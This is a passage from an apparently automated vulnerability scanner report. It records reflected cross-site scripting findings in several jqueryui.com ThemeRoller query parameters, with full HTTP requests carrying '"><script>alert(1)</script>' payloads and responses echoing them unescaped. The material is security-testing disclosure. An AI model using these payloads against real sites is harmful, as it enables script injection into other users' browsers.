GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10afc9a"><script>alert(1)</script>680b4cdc57f&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:37 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10afc9a"><script>alert(1)</script>680b4cdc57f&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefaul
...[SNIP]...

4.83. http://jqueryui.com/themeroller/ [bgImgOpacityDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dc63"><script>alert(1)</script>f34b1579462 was submitted in the bgImgOpacityDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=756dc63"><script>alert(1)</script>f34b1579462&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:44 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
TextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=756dc63"><script>alert(1)</script>f34b1579462&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgC
...[SNIP]...

4.84. http://jqueryui.com/themeroller/ [bgImgOpacityError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1716"><script>alert(1)</script>fd52dd1f0c5 was submitted in the bgImgOpacityError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95a1716"><script>alert(1)</script>fd52dd1f0c5&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:15 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ghlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95a1716"><script>alert(1)</script>fd52dd1f0c5&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png
...[SNIP]...

4.85. http://jqueryui.com/themeroller/ [bgImgOpacityHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7ee4"><script>alert(1)</script>ef5a1a6a4b6 was submitted in the bgImgOpacityHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50a7ee4"><script>alert(1)</script>ef5a1a6a4b6&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:30 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
oller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50a7ee4"><script>alert(1)</script>ef5a1a6a4b6&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColor
...[SNIP]...

4.86. http://jqueryui.com/themeroller/ [bgImgOpacityHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dad5"><script>alert(1)</script>e93306ce4ce was submitted in the bgImgOpacityHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=559dad5"><script>alert(1)</script>e93306ce4ce&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:07 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
TextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=559dad5"><script>alert(1)</script>e93306ce4ce&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError
...[SNIP]...

4.87. http://jqueryui.com/themeroller/ [bgImgOpacityHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85739"><script>alert(1)</script>9382c055b11 was submitted in the bgImgOpacityHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=7585739"><script>alert(1)</script>9382c055b11&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:53 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=7585739"><script>alert(1)</script>9382c055b11&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgCo
...[SNIP]...

4.88. http://jqueryui.com/themeroller/ [bgImgOpacityOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30d95"><script>alert(1)</script>efdfe5adaa9 was submitted in the bgImgOpacityOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=030d95"><script>alert(1)</script>efdfe5adaa9&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:21 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
rError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=030d95"><script>alert(1)</script>efdfe5adaa9&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="te
...[SNIP]...

4.89. http://jqueryui.com/themeroller/ [bgImgOpacityShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgImgOpacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 684ec"><script>alert(1)</script>f4d49959a0 was submitted in the bgImgOpacityShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0684ec"><script>alert(1)</script>f4d49959a0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:27 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120092

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0684ec"><script>alert(1)</script>f4d49959a0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.90. http://jqueryui.com/themeroller/ [bgTextureActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35da4"><script>alert(1)</script>0aa069f8a2 was submitted in the bgTextureActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png35da4"><script>alert(1)</script>0aa069f8a2&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:59 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120027

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
conColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png35da4"><script>alert(1)</script>0aa069f8a2&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fce
...[SNIP]...

4.91. http://jqueryui.com/themeroller/ [bgTextureContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d62a"><script>alert(1)</script>d9e2e119da was submitted in the bgTextureContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

